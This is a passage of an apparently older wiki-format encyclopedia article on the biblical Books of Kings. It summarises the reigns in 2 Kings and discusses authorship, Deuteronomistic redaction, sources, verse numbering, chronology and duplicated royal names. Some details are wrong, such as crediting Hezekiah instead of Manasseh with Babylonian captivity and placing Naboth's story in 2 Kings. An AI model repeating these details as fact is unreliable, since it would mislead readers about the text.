Ahab, sending Jehu the heads. Jehu also slaughters every descendant in Jezreel, and kills the kinsmen of Ahaziah (king of Judah) in a pit. Jehu then tricks the worshippers of Hadad (a.k.a. ''Ba'al'') by promising that he will worship Hadad, asking for them to gather at the temple of Hadad to make a sacrifice, evicting all the worshippers of Yahweh from the temple, closing the doors, and then slaughtering everyone inside. The temple of Hadad is then destroyed, and turned into a toilet. 

*'''The story of [[Jehoahaz of Israel]]''' (2 Kings 10:32-35a, and 13:1-9a) During Jehu's reign, Hazael conquers Gilead. After Jehu dies, his son, Jehoahaz, becomes the new king, of the much reduced Israel. Under the yoke of Hazael, Jehoahaz appeals to Yahweh, and a saviour is sent to free Israel from Hazael (at no point does it explain who this saviour is, or what they do to save Israel). Hazael's aggression has resulted in Jehoahaz's army being reduced to a pittance.

*'''The story of [[Athaliah]]''' (2 Kings 11:1-20) - Athaliah, the mother of Ahaziah, on discovering the death of her son, sets out to kill the entire remaining royal family, and take the throne herself. However, her sister manages to hide Jehoash (sometimes abbreviated as ''Joash''), the son of Ahaziah, in the temple of Yahweh. Six years later, the priest summons the captain of the guards and Carian mercenaries, and shows them Jehoash. The priest has the guards and mercenaries surround the temple and defend it, while he publicly anoints Jehoash as king. Although Athaliah discovers this, and shouts that this is treason, the priest has Athaliah taken away and killed. The people then go and obliterate the temple of Hadad, and slaughter its priest. 

*'''The story of [[Jehoash of Judah]]''' (2 Kings 12:1-22a) - Jehoash becomes a king loyal to the worship of Yahweh, though not insistant on centralised worship, and passes a law that the temple priests should get to keep the money offered at the temple, on the condition that they also take responsibility for carrying out repairs to it. While they keep the money, they fail to make repairs, so the king complains, and the priests choose to reject the money rather than be responsible for repairs. The money is put into a chest and when it becomes full, the contents are smelted together and used to pay for repairs, which a seperate individual is given oversight of. Ironically, after Hazael successfully besieges Gath, when he mounts an attack on Jerusalem, Jehoash is forced to buy him off with the treasures from the temple. In a later conspiracy, Jehoash is killed by his own men.

*'''The story of [[Jehoash of Israel]]''' (2 Kings 13:9b-13a, 13:13c-25 and 14:13-16a): Jehoash succeeds Jehoahaz, his father, as king of Israel. Jehoash goes to Elisha, who is dying, for help against Hazael. Elisha forces Jehoash to shoot an arrow through the window, and then prophecies that his doing so has ensured victory against Hazael. Elisha also makes Jehoash strike the ground with some arrows, and so Jehoash does so three times. Elisha states that this will ensure three victories, but by not striking the ground five or six times, has denied himself total outright victory. Elisha then dies, and is buried. While another funeral is taking place, Moabite raiders attack, so the mourners drop the body into Elisha's grave and flee, but when the body touches Elisha's, the man comes back to life. Hazael dies and is suceeded by the weaker [[Ben-hadad]], who is defeated thrice by Jehoash, fulfilling Elisha's promise. Jehoash is later forced to fight the aggressive king of Judah, but succeeds and captures him. Jehoash goes on to Jerusalem where part of the walls are torn down, and Jehoash takes the treasure of the palace and temple. 

*'''The story of [[Amaziah]]''' (2 Kings 12:1-22b, 14:1-14 and 14:17-21) - Amaziah, the son of Jehoash (the king of Judah), succeeds him as king of Judah. Amaziah slaughters those who killed his father, though is merciful enough to spare their descendants. Amaziah then goes on military campaigns, conquering the Edomites. Amaziah challenges Jehoash (the king of Israel), but Jehoash responds with a parable about the [[Thistle of Lebanon]]. Amaziah attacks anyway, and the two sides meet in battle, but Judah is defeated, and Amaziah is captured. Later, Amaziah, now free (without explanation), hears of a conspiracy against him, so flees to Lachish, but is pursued there and killed.

*'''The story of [[Jeroboam II|Jeroboam (II)]]''' (2 Kings 13:13b and 14:23-29a) - Jeroboam becomes king of Israel after the death of Jehoash (the king of Israel), his father. Despite following Canaanite religion (for which the books of Kings, Chronicles, [[Book of Hosea|Hosea]], [[Book of Joel|Joel]], [[Book of Amos|Amos]], and [[Book of Jonah|Jonah]], condemn him), Jeroboam is otherwise a hero, as he manages to expand the boundaries of Israel as far as the [[Arabah]], and defeats Aram, returning [[Hamath]] to Israelite control, as had been prophecied. 

*'''The story of [[Uzziah]]''' (2 Kings 14:22, 14:29b-15:7b, 15:32-36, and 15:38a) - The son of Amaziah, Uzziah (Kings mistakenly names him ''Azariah'', which in Chronicles is instead the name of his high priest), succeeds him as king of Judah, and rebuilds [[Elath]]. However, Uzziah suffers from leprosy, so his son, Jotham, reigns as regent (Chronicles states that Uzziah was deposed by a rebellion of the priesthood, and was cursed with leprosy as a result, and sent to live with the lepers). The construction of a gate of the temple is attributed to Jotham's mother. Jotham formally becomes king when Uzziah actually dies.

*'''The story of [[Menahem]]''' (2 Kings 15:8-22a) - Jeroboam is succeeded by [[Zechariah]], his son, as king of Israel, but Zechariah is soon killed by Shallum, who reigns in his place. [[Menahem]] hears about the assasination, and sets off to kill Shallum, but is held up by the people of [[Tappuah]]. After finally reaching Shallum, and killing him, Menahem exacts revenge on the people of Tappuah by slaughtering their entire population. Now that Menahem has become king, the king of Assyria, [[Tiglath-pileser]] (referred to in 15:16-22a as if a different individual named ''Pul'', though this is actually just the throne name of Tiglath-pileser) invades and Menahem gives him money to employ him to strengthen Menahem's own reign over Judah, but Tiglath-pileser just leaves with the money (In an inscription, Tiglath-pileser describes this simply as him invading, forcing Menahem to become a vassal, and receiving tribute). Menahem taxes the population to raise the funds for the tribute.

*'''The story of [[Pekah]]''' (2 Kings 15:22b-31 and 15:37) - When Menahem dies, his son, Pekahiah, succeeds him as king. However, Pekah, the [[adjutant]] to Pekahiah, conspires with the people from the eastern half of Israel, Gilead, and kills Pekahiah, becoming king in his place. Pekah enters into an alliance with [[Rezin]], the king of Aram, to attack Judah. Supporting Judah, now a vassal of Assyria, Tiglath-pileser invades Israel, capturing several cities, and deporting their populations. [[Hoshea]] conspires against Pekah, killing him and becoming king in his place (though an inscription by Tiglath-pileser states that he killed Pekah and placed Hoshea on the throne himself).

*'''The story of [[Ahaz]]''' (2 Kings 15:38b-16:20a) - Ahaz becomes king of Judah when Jotham, his father, dies. The alliance between Aram and Israel besiege Ahaz, and Edom is able to recover [[Elath]], so Ahaz responds by becomes a vassal of Tiglath-pileser, who is subjugating Israel. Tiglath-pileser then attacks Damascus (capital of Aram), killing Rezin, and deporting the inhabitants to another part of Assyria. Ahaz follows Canaanite religious practices, sacrificing at the high places and Asherah groves, and even immolating his son through the fire to [[Moloch]]. As a consequence, when Ahaz goes to Damascus to meet Tiglath-pileser, he is so impressed by the altar that he has a new altar made to the same design, and replaces the altar at the Jerusalem temple with it. Ahaz makes further alterations to the temple layout, even removing the throne emplacement, in deference to the Assyrian king.

*'''The story of the [[Lost Ten Tribes]]''' (2 Kings 17:1-41 and 18:9-12) After taking control of what remained of Israel, Hoshea is forced to become a vassal of the Assyrians, due to aggressive behaviour by [[Shalmaneser V]] (unnumbered in the Bible). However, Hoshea resents this, and not only fails to send the annual tribute to Assyria, but also sends envoys to [[Sais]], the Egyptian king, for help. In consequence, Shalmaneser occupies Israel and besieges Samaria for three years. Samaria falls to [[Sargon II]] (the new king of Assyria after Shalmaneser dies during the siege, though the Bible does not indicate this, and refers to him simply as ''the king of Assyria'' without acknowledging that this is not Shalmaneser), and the nine tribes of Israel are completely deported to other regions of the Assyrian empire, becoming the ''Lost Ten Tribes'' (tradition considers there to be ten lost tribes, though Israel contained only nine). The writer remarks that the exile of Israel is punishment for it following heathen practices. Sargon uses other Assyrian people to populate the now fairly empty Israel, and they worship their own gods, though Sargon sends a few Israelite priests back to teach the Israelite religion, which becomes regarded by the new population [[polytheism|polytheistically]]. 

*'''The story of [[Hezekiah's reform]]''' (2 Kings 16:20b, and 18:1-6) The son of Ahaz, [[Hezekiah]], succeeds him as king of Judah, and institutes a far reaching religious reform, centralising the religion to the temple at Jerusalem. In [[iconoclasm|iconoclastic]] pursuit of the reform, Hezekiah destroyed the high places, pillars, and Asherah, as well as the [[Nehustan]], which Moses himself is alleged to have created.

*'''An account of the [[Assyrian Siege of Jerusalem]]''' (2 Kings 18:13-19:37, and 20:20b) - Hezekiah rebels against Assyria and partially subjugates the land of the Philistines. However, [[Sennacherib]], the king of Assyria, captures several cities in Judah, and so Hezekiah uses the temple funds, even breaking up the gold plated doors, to pay tribute to Sennacherib. Sennacherib conveys to Hezekiah the message that Egypt is too weak to help Judah, and dares him to attack the weakest cavalry of the Assyrian army, even offering to supply the horses for Judah to do so. Sennacherib offers a peaceful outcome, but the people of Judah respond with a wall of silence, as Hezekiah has ordered them. Sennacherib is briefly forced to back off for a moment in order to battle the Ethiopians that have launched an attack upon him, and so sends Hezekiah a taunting letter instead. Apparantly by way of preparation for any siege, Hezekiah constructs a [[Pool of Siloam|conduit and pool providing water to Jerusalem]]. Hezekiah sends a taunting letter back, and is comforted by [[Isaiah]] who prophecies that Judah is in Yahweh's favour owing to Hezekiah's reforms, and the Assyrians will not be able to besiege Jerusalem. That night an angel kills 185 thousand men of the Assyrian army, and the survivors return to Assyria as a result (in direct contradiction to [[Taylor Prism|the Assyrian account]] which states that Jerusalem was besieged, Hezekiah surrenders and pays tribute, and the Assyrians, now much richer, leave victoriously). Fulfilling Isaiah's prophecy of divine retribution (or simply fulfilling the internal politics of Assyria), Sennacherib is killed by two of his own sons, and a third becomes king in his place.

*'''The story of [[Hezekiah's shadow]]''' (2 Kings 20:1-20a, and 20:20c-21a): Isaiah visits Hezekiah on his deathbed to tell him to prepare for death, but when Hezekiah prays that his faithfulness will be remembered by Yahweh, Yahweh instructs Isaiah that 15 years have just been added to Hezekiah's life. Consequently, Isaiah gets a [[poultice]] to apply to Hezekiah's boil, and Hezekiah miraculously recovers. At Isaiah's instigation, Yahweh causes the shadow on Ahaz's sundial (early translations into English instead have ''Hezekiah's shadow on Ahaz's steps'') to suddenly and noticably extend backwards by an extra ten measures. [[Merodach-baladan]], the son of the Babylonian king, sends get-well gifts to Hezekiah, and so, from politeness, Hezekiah shows the Merodach-baladan's messengers his treasures. Isaiah prophecies that having seen the treasure, Babylon's greed will cause them to invade and take it away, and deport the people at the same time.

*'''The story of [[Manasseh of Judah|Manasseh]]''' (2 Kings 20:21b-21:23 and 21:25-26a) - Manasseh, son of Hezekiah, becomes the next king, and completely reverts Hezekiah's religious changes, which the writer blames for the later destruction of Judah by Babylon. The story of Manasseh is abridged at this point, though the [[Book of Chronicles]] records that Hezekiah was taken prisoner by the Babylonians, and treated so badly that, when released, he was a reformed man. Many copies of the [[vulgate]] translation additionally record a [[Prayer of Manasseh]] which supposedly records Manasseh's repentance. After his death, his penitance is shown to be in vain when his son, Amon, perpetuates the rejection of Hezekiah's reform, and refuses to repent. However, Amon becomes the victim of a conspiracy when he is killed by his own servants. 

*'''The story of [[Josiah]]''' 2 Kings 21:24, and 21:26b-23:30a - A counter-conspiracy results in Josiah, son of Amon, being placed on the throne of Judah. During his godly reign, Josiah institutes repairs of the temple, during which the chief priest, [[Hilkiah]], discovers a ''book of the law''. This newly discovered book is verified as genuine by the prophetess [[Huldah]], and the penitent Josiah vows to enact all the newly discovered [[mitzvah]] within it (most scholars, both critical and apologetic, view the book as an early version of [[deuteronomy]], for which reason, Josiah's reform is often referred to as the ''deuteronomic reform''). According to the narrative, no king before Josiah was ever as devout or fulfilled all of the [[torah]], and Josiah is particularly zealous about his [[iconoclasm]]. [[Necho II]] leads an Egyptian army to join that of Assyria in attacking Babylon, and Josiah rides out and meets Necho at the [[Battle of Meggido (609 BC)|Battle of Meggido]], but is killed.

*'''The story of [[Jehoiakim]]''' (2 Kings 23:30b-24:6a and 24:7) - The people appoint [[Jehoahaz]], a son of Josiah, as the king in place of Josiah, but Necho imprisons Jehoahaz, and deports him. Necho appoints another son of Josiah as the new king, who duly changes his name to Jehoiakim. Jehoiakim taxes the land to give tribute to Necho, but the land is soon attacked by [[Nebudchadnezzar]], the [[Babylon]]ian king. Easily defeated, Jehoiakim becomes the vassal of Babylon rather than Egypt, and the Babylonian empire reaches to the border of Egypt, so Egypt makes no further attempt to dominate the region. However, three years later, Jehoiakim rebels, and raiders from the surrounding nations are sent by Nebuchadnezzar to attack Judah. Though the account of Jehoiakim is somewhat abridged and goes no further in the Book of Kings, an account of his rebellion, Nebuchadnezzar's response, and Jehoiakim's violent death at the hands of his own people, is present in the [[Book of Jeremiah]].

*'''The story of [[Jeconiah]]''' (2 Kings 24:6b, 24:8-12, and 25:27-30) - Nebuchadnezzar appoints the son of Jehoiakim, namely Jeconiah, as the new king of Judah. Nebuchadnezzar attacks Jerusalem (for an unexplained reason) and besieges it, so Jehoniah and his court surrender and Jehoiachim is taken captive. Many decades later, [[Evil-merodach]], a later king of Babylon, releases Jehoaichin from prison, give him an allowance, and generally treats him favourably, for the rest of his days.

*'''The story of [[Zedekiah]]''' (2 Kings 24:17-25:7) - Nebuchadnezzar appoints the uncle of Jehoiachim as the new king of Judah, who duly changes his name to Zedekiah (''[[Yahweh]] is [[Zedek]]'' / ''Yahweh is righteous''). However, Zedekiah rebels, and so Nebuchadnezzar besieges Jerusalem and breaches the city walls. Although Zedekiah flees, he is captured and taken to Nebuchadnezzar, who has the sons of Zedekiah killed in front of him, and then has Zedekiah's eyes put out so that it is the last thing he has seen. Zedekiah is then bound in chains and taken to Babylon.

*'''The story of the [[Babylonian captivity]]''' (2 Kings 24:13-16 and 25:8-21) - After Jehoiachim's surrender, Nebuchadnezzar deports everyone of any worth to Babylon, including the army, the people of Jerusalem, nobles, and craftsmen, as well as the treasures of Jerusalem. Once Zedekiah's later rebellion is supressed, Nebudchadnezzar sends [[Nebuzaradan]] to Jerusalem, where he burns down the temple, palace, houses, and walls, and deports the treasures of the temple, and the population (excepting some of the poor), to Babylon. The two highest priests of the temple, a scribe, a courtiers, five personal servants to Zedekiah, and 60 people remaining in Jerusalem, are taken to Nebudchadnezzar and killed. 

*'''The story of [[Gedaliah]]''' (2 Kings 25:22-26) - The few people remaining in Judah are put under the command of Gedaliah, who promises the commanders of the army of Judah that they will not be harmed as long as they remain loyal to Babylon. However, one of the commanders, of royal descent, conspires against Gedaliah, and has him killed, but the people are so afraid of what Nebuchadnezzar's reaction might be, that almost the entire population of Judah flee to Egypt.

==Authorship==

The authorship, or rather compilation, of these books is uncertain. The sources of the narrative are explicitly given as:
#The &quot;book of the acts of Solomon&quot; (1 Kings 11:41)
#The &quot;book of the chronicles of the kings of Judah&quot; (14:29; 15:7, 23, etc.)
#The &quot;book of the chronicles of the kings of Israel&quot; (14:19; 15:31; 16:14, 20, 27, etc.).

The date of its composition was perhaps some time between [[561 BC]], the date of the last chapter (2 Kings 25), when [[Jehoiachin]] was released from captivity by [[Evil-merodach]], and [[538 BC]], the date of the decree of deliverance by [[Cyrus the Great]].

There are some portions that are almost identical to the [[Book of Jeremiah]], e.g., 2 Kings 24:18-25 and Jeremiah 52; 39:1-10; 40:7-41:10. There are also many undesigned coincidences between Jeremiah and Kings (2 Kings 21-23 and Jer. 7:15; 15:4; 19:3, etc.), and events recorded in Kings of which [[Jeremiah (prophet)|Jeremiah]] had personal knowledge.  Because of this, traditionally Jeremiah was credited the author of the books of Kings. 

However, the book(s) plainly acknowledge several source texts in several places, and it is hence self evidently a compilation from earlier sources rather than an original work. A superficial examination of the Books of Kings makes clear the fact that they are a compilation and not an original composition, and the compiler (usually refered to as the ''redactor'')  constantly cites certain of his sources. In the case of Solomon it is ''the book of the acts of Solomon'' (1 Kings 11:41); for the Northern Kingdom it is ''the book of the chronicles of the kings of Israel'', which is cited seventeen times, i.e., for all the kings except Jehoram and Hoshea (e.g. 1 Kings 15:31); and for the kings of Judah it is ''the book of the chronicles of the kings of Judah'', which is cited fifteen times, i.e., for all the kings except Ahaziah, Athaliah, Jehoahaz, Jehoiachin, and Zedekiah (e.g. 1 Kings 15:7). As well as the text's own admission, the idea of the text being composed from multiple earlier sources is also supported by textual criticism. Whether the editor had access to these ''chronicles'', as they were deposited in the state archives, or simply to a history based upon them, can not with certainty be determined, though it is generally assumed that the latter was the case. 

An early supposition was that [[Ezra]], after the [[Babylonian captivity]], compiled them from official court chronicles of [[David]], [[Solomon]], [[Nathan]], [[Gad]], and [[Iddo]], and that he arranged them in the order in which they now exist. However, i is more usually said that Ezra was the compiler of the [[Books of Chronicles]], an alternate history of the period of the kings, which was earlier in history treated as a single book together with the [[Book of Ezra]] and the [[Book of Nehemiah]].

The majority of textual criticism is of the belief that, with the majority of [[Deuteronomy]], [[Book of Joshua|Joshua]], [[Book of Judges|Judges]], and [[Books of Samuel|Samuel]], these works were originally compiled into a single text, the [[Deuteronomic history]], by a single [[redaction|redactor]], the [[Deuteronomist]]. The similarities between the text of Deuteronomy and that of the [[Book of Jeremiah]] are so strong that many critical scholars view Jeremiah as the Deuteronomist, hence agreeing, in a round about sort of way, and for different reasons, with the traditional view concerning the authorship of Kings.

;Object and Method of Work.

It was not the purpose of the compiler to give a complete history of the period covered by his work; for he constantly refers to these sources for additional details. He mentions as a rule a few important events which are sufficient to illustrate the attitude of the king toward the Deuteronomic law, or some feature of it, such as the central sanctuary and the ''high places'', and then proceeds to pronounce judgment upon him accordingly. Each reign is introduced with a regular formula; then follows a short excerpt from one of his sources; after which an estimate of the character of the monarch is given in stereotyped phraseology; and the whole concludes with a statement of the king's death and burial, according to a regular formula (for example, compare 1 Kings 15:1-9 with 1 Kings 15:25-32).

The standpoint of the judgments passed upon the various kings as well as the vocabulary of the compiler indicates that he lived after the reforms of Josiah (621 B.C.) had brought the Deuteronomic law into prominence. How much later than this the book in its present form was composed, may be inferred from the fact that it concludes with a notice of Jehoiachin's release from prison by Evil-merodach (Amil-Marduk) after the death of Nebuchadnezzar in 562. The book must have taken its present form, therefore, during the Exile, and probably in Babylonia. As no mention is made of the hopes of return which are set forth in Isaiah 40-55, the work was probably concluded before 550. Besides the concluding chapters there are allusions in the body of the work which imply an exilic date (e.g. 1 Kings 8:34, 9:39; 2 Kings 17:19-20, 23:26-27). To these may be added the expression ''beyond the river'' (1 Kings 5:4), used to designate the country west of the Euphrates, which implies that Babylonia was the home of the writer.

;Time of Redaction.

On the other hand, there are indications which imply that the first redaction of Kings must have occurred before the downfall of the Judean monarchy. The phrase ''unto this day'' occurs in 1 Kings 8:8, 9:21, 12:19; 2 Kings 8:22, 16:6, where it seems to have been added by an editor who was condensing material from older annals, but described conditions still existing when he was writing. Again, in 1 Kings 9:36, 15:4, and 2 Kings 8:19, which come from the hand of a Deuteronomic editor, David has, and is to have, a lamp burning in Jerusalem; i.e., the Davidic dynasty is still reigning. Finally, 1 Kings 8:29-31, 8:33, 8:35, 8:38, 8:42, 8:44, 8:48, 9:3, 11:36 imply that the Temple is still standing. There was accordingly a pre-exilic Book of Kings. The work in this earlier form must have been composed between 621 and 586. As the glamour of Josiah's reforms was strong upon the compiler, perhaps he wrote before 600. To this original work 2 Kings 24:10-25:30 was added in the Exile, and, perhaps, 23:31-24:9. In addition to the supplement which the exilic editor appended, a comparison of the [[Masoretic text]] with the [[Septuagint]] as represented in codices B and L shows that the Hebrew text was retouched by another hand after the exemplars which underlie the Alexandrine text had been made. Thus in B and L, 1 Kings 5:7 follows on 4:19; 6:12-14 is omitted; 9:26 follows on 9:14, so that the account of Solomon's dealings with Hiram is continuous, most of the omitted portion being inserted after 10:22. 2 Kings 21, the history of Naboth, precedes ch. 20, so that 20 and 22, which are excerpts from the same source, come together. Such discrepancies prove sufficient late editorial work to justify the assumption of two recensions.

;Sources.

In brief outline the sources of the books appear to have been these: 
*1 Kings 1-2 are extracted bodily from the a source now known as the ''[[court history of David]]'', which largely also constitutes 2 Samuel 9-20. The redactor has added notes at 1 Kings 2:2-4 and 2:10-12. 
*For the reign of Solomon the text names its source as ''the book of the acts of Solomon'' (11:41); but other sources were employed, and much was added by the redactor. 
**1 Kings 3 is a prophetic narrative of relatively early origin, worked over by the redactor, who added verses 2-3, and 14-15. 
**1 Kings 4:1-19 is presumably derived from the ''Chronicle of Solomon''. 
**1 Kings 4:20-5:14 contains a small kernel of prophetic narrative which has been retouched by many hands, some of them later than the Septuagint. 
**The basis of 5:15-7:51 was apparently a document from the Temple archives; but this was freely expanded by the redactor, and 6:11-14 also by a later annotator. 
**1 Kings 8:1-13, the account of the dedication of the Temple, is from an old narrative, slightly expanded by later hands under the influence of the [[Priestly source]] of the [[Torah]]. 
**1 Kings 8:14-66 is in its present form the work of the redactor slightly retouched in the Exile. 
**1 Kings 9:1-9 is the work of the redactor, but whether before the Exile or during it is disputed. 
**1 Kings 9:10-10:29 consists of extracts from an old source, presumably ''the book of the acts of Solomon'', pieced together and expanded by later editors. The order in the Masoretic text differs from that in the Septuagint. 
**1 Kings 11:1-13 is the work of the redactor; 
**1 Kings 11:14-22 is a confused account, perhaps based on two older narratives; 
**1 Kings 11:26-31 and 39-40 probably formed a part of a history of Jeroboam from which 12:1-20 and 14:1-18 were also taken. The extracts in chapter 11 have been set and retouched by later editors.

;Narratives and Epitomes.

From chapter 12 of 1 Kings onward, both 1&amp;2 Kings are characterized by an alternation of short notices which give epitomes of historical events, with longer narratives extracted from various sources. The following sections are short epitomes: 
*1 Kings 14:21-16:34
*1 Kings 22:41-53
*2 Kings 8:16-29
*2 Kings 10:32-36
*2 Kings 12:18-13:13
*2 Kings 13:22-17:6 
In some cases short extracts are even here made in full, as in 14:8-14 and 16:10-16.

The longer narratives, which are frequently retouched and expanded by the redactor, are as follows: 
*1 Kings 12:1-20, 14:1-18, from an older narrative of Jeroboam, to which 12:21-32 and 14:19-20 are additions
*12:33-13:34, a comparatively late story of a prophet
*17:1-19:21 and 21:1-29, an early prophetic narrative written in the Northern Kingdom (c.f. 19:3)
*20:1-43 and 22:1-40, an early north-Israelitish history of the Syrian war in which Ahab lost his life
*2 Kings 1:1-8:15 and 9:1-10:31, north-Israelitish narratives, not all from one hand, which are retouched here and there, as in 3:1-3, by the redactor
*11:1-12:17, a Judean narrative of the overthrow of Athaliah and the accession of Joash
*13:14-21 and 14:8-14, two excerpts from material written in the Northern Kingdom (c.f. 14:11)
*17:7-23 is the redactor's commentary on the historical notice with which the chapter opens
*17:24-41 is composite (c.f. 17:32, 17:34, and 17:41), probably written in the Exile and retouched after the time of Nehemiah
*18:1-20:21 is compiled by the redactor from three sources, the redactor himself prefixing, inserting, and adding some material
*21:1-26 is, throughout, the work of the redactor
*22:1-23:25 is an extract from the Temple archives with slight editing
*23:29-25:30, the appendix of the exilic editor, is based on Jeremiah 40:7-53:6. From Jeremiah, too, the exilic editor drew his information, which he presented in briefer form.

==Numbering==

The [[Chapters and Verses of the Bible|numbering of the Bible]] is usually considered to be fairly consistent throughout translations. However, most Hebrew versions, as well as the [[New American Bible]], the official [[Roman Catholic]] translation, differ in the numbering of 1 Kings 4-5 from other translations such as the [[King James Version]]. One set of translations regards chapter 4 as ending at verse 20, while the other continues it for 14 verses that are placed at the start of chapter 5 in the first set. I.e.
*1 Kings 5:1-14 in the first set is 1 Kings 4:21-34 in the second set
*1 Kings 5:15-32 in the first set is 1 Kings 5:1-18 in the second set
*1 Kings 4:21-34 does not exist in the first set, while 1 Kings 5:19-32 does not exist in the second set

This article will follow the numbering of the Hebrew versions and the NAB, i.e. where 1 Kings 4:21-34 does not exist, and 1 Kings 5 has 32 verses.

==Peculiar textual features==
===Problems of dates===

The chronology of Kings has several problematic areas. The duration of reigns for the kings of Judah doesn't correspond correctly to their supposed times of accession compared to the reigns of the kings of Israel. Assigning the number of years after Solomon that each king of Judah reigned, by comparing the figure for their predecessor and the length of their predecessor's reign, simply does not equal the figure that you would obtain by comparing the figures for the kings of Israel and which year the king of Judah began to rule compared to the reign of the contemporary king of Israel. The same issue, transposed, obviously applies to the kings of Israel, and hence there are multiple different chronologies proposed for the period.

There are also external difficulties for the dating. The king that the Book of Kings names as ''Ahaz'' is claimed within it to reign for only 16 years. However, some of the events during his reign are recorded elsewhere, and have an almost absolute consensus as to their dates, requiring Ahaz to have at least ruled between 735BC and 715BC, a period of 20 years.

===Problems of names===

The name ''Hadad'' and compounds of it occur at several locations within the text. [[Hadad]] is the name of the Canaanite deity that is often who the term [[Ba'al]] (which means ''lord'') refers to. Consequently many kings from the region surrounding Israel and Judah would take throne names that were [[theophory]] in Hadad (or Ba'al), which has can lead to much confusion in the text, and some difficulty in identifying which people are the same individuals and which are different:
*''Hadadezer'' (''Hadad''+''ezer'') is an Assyrian king
*''Hadad'' is the name of a king of Edom
*''Ben-hadad'' is the name of one or more kings of Aram. Although this name simply means ''son of Hadad'' it doesn't necessarily mean that Hadad was the name of the king's father, but simply that the king was a king (i.e. a son of Hadad - the god)
*''King Hadad'' is the name of a god (according to the text), i.e. Hadad

In addition, while ''Ba'al'' is usually used to refer to Hadad, the term ''[[Baalzebub]]'' also appears as the name of a deity. ''Ba'alzebub'', meaning ''lord of the flies'', is most likely to be a deliberate [[pun]], by the anti-Hadad writer, on the term ''Ba'alzebul'', meaning ''prince Ba'al'', i.e. Hadad. Even more confusing is the fact that some passages refer to a single king of Assyria by two different names, whereas others refer simply to ''the king of Assyria'' in several places but are actually talking about 2 seperate historically attested kings, not the same individual.

This problem is compounded in the names of Israelite and Judahite kings, where theophoric suffixes and prefixes exist in El and Yah/Yahweh, namely ''Ja....'', ''Jeho...'', ''....iah'', ''...el'', and ''El....''. It was common to drop the theophory in ordinary day to day life, so that, for example, ''Daniel'' becomes simply ''Dan''. In some cases double theophory occured, as for example in the name of the king of Judah that contemporary cuneiform inscriptions record as ''Jeconiah'' (''Je''+''Con''+''Iah''), which the [[Book of Jeremiah]] drops one of the theophories to make the name simply ''Choniah'' (''Chon''+''Iah''), while the Book of Kings moves both theophories next to each other making his name ''Jehoiachin'' (''Jeho''+''Iah''+''chon''). Similarly theophory was often flexible as to which end of names it occurred at for a single individual, so that the king of Judah which the Book of Kings of names as ''Ahaziah'' (''Ahaz'' + ''iah'') is named by the Book of Chronicles as ''Jehoahaz'' (''Jeho'' + ''ahaz'') - ultimately this is the same name as had by the later king referred to as ''Ahaz''. Another feature is the variable nature of the theophory - ''Yah'', ''Yam'', and ''Yaw'', all refer to exactly the same Canaanite deity - [[Yaw (god)|Yaw]], whose name is cognate to ''Yahweh'' - and in consequence features appear such as the Book of Kings referring to a king of Judah as ''Abijam'' (''Abi''+''Jam'') while the Book of Chronicles names the same individual as ''Abijah'' (''Abi''+''Jah'').

This produces several peculiar features about supposedly different kings:
*'''Jehoram''' was the king of Israel while '''Jehoram''' was the king of Judah
*'''Ahaziah''' was the king of Israel while '''Ahaziah'' (a.k.a. ''Jehoahaz'') was the king of Judah
*'''Jehoahaz''' was the king of Israel while '''Jehoahaz''' (a.k.a. ''Ahaziah'') was the king of Judah
*'''Jehoash, son of Jehoahaz''' was the king of Israel while '''Jehoash, son of Jehoahaz''' was the king of Judah
*A man named '''Pekah''' committed a coup against a man named '''Pekah'''iah (''Pekah'' + ''Iah'').

There are also semi-parallelisms of names at the start of the list:
*Jer'''oboam''' was king of Israel while Reh'''oboam''' was king of Judah
*'''Abijah''' was Jeroboam's heir while was '''Abijah''' (a.k.a. ''Abijam'') became Rehoboam's heir
'*Ba'''asa''' was king of Israel while '''Asa''' was king of Judah

These striking parallels have led some commentators to propose that in reality there was only one individual for each pair, but since their lives were recorded in two seperate annals, one for Judah (named in the Book of Kings as the ''Chronicles of the kings of Judah'') and one for Israel (named in the Book of Kings as the ''Chronicles of the kings of Israel''), when extracts from these annals were spliced together to produce parts of the Book of Kings it produced the appearance of them being seperate individuals. In particular this presents a simple explanation for why in many cases each half of the pairs have similar lives, fighting similar battles with similar people, and why in other cases the story of one king of the pair concerns mostly the beginning of his reign while the story of the other king of the pair concerns mostly the end. In this case, Athaliah becomes the daughter-in-law of Omri, rather than daughter, and it is her son that is Jehoram, not her husband; Athaliah's story has noticable parallels to that of Jezebel, the mother of Jehoram, and each story is from a different annal - one from that of Judah and one from that of Israel - easily explained as different spins on the same individual.

There is also a strong suspicion amongst many archaeologists that Jehu is the same individual as Jehoram, mistakenly identified as a son of Jehoshaphat rather than Ahab, thus explaining how Jehu's descendants come to be kings of Israel not Judah. In this proposal, Jehu/Jehoram is seen as joining Ahaziah in battle against Hazael, and them both being killed by Hazael, as contemporary inscriptions record, rather than Jehu being the killer, with Jezebel/Athaliah and Jehoahaz (son of Jehu/Jehoram) being killed in an opportunistic coup by the temple priesthood. Likewise, proposals have been put forward that Pekah and Pekahiah are the same individual, only becoming split into two to try to legitimise Hoshea - rather than being a revolutionary, splitting up Pekah into an individual who is the rightful heir and a seperate revolutionary individual, his deposition by Hoshea becomes counter-revolution.

==Organization==

The two books of Kings comprise the fourth book in the second canonical division of [[Hebrew language|Hebrew]] Scriptures: in the threefold division of the Tanach, these books are ranked among the Prophets. The present division into two books was first made by the [[Septuagint]], which numbers them as the third and fourth books of &quot;Kingdoms&quot;, the two [[books of Samuel]] being considered the first and second books of Kingdoms; this numbering was also followed in the [[Vulgate]] with 1-4 Kings, but most modern Christian Bibles have two books of Samuel and two of Kings.

==In Christianity==

The Books of Kings are frequently quoted or alluded to by ([[Matthew 6:29]]; 12:42; [[Gospel of Luke|Luke]] 4:25, 26; 10:4; comp. 2 Kings 4:29; [[Gospel of Mark|Mark]] 1:6; comp. 2 Kings 1:8; and [[Matthew 3:4]], etc.).

==External links==
Online translations of the [[Books of Kings]]:
*Original text:
**[http://www.mechon-mamre.org/p/pt/pt09a01.htm &amp;#1502;&amp;#1500;&amp;#1499;&amp;#1497;&amp;#1501; &amp;#1488; ''Melachim Aleph'' - Kings A] ([[Hebrew language|Hebrew]] - English at Mechon-Mamre.org)
**[http://www.mechon-mamre.org/p/pt/pt09b01.htm &amp;#1502;&amp;#1500;&amp;#1499;&amp;#1497;&amp;#1501; &amp;#1489; ''Melachim Bet'' - Kings B] ([[Hebrew language|Hebrew]] - English at Mechon-Mamre.org)

*[[Judaism|Jewish]] translations:
** [http://www.mechon-mamre.org/e/et/et09a01.htm 1 Kings at Mechon-Mamre] (Jewish Publication Society translation)
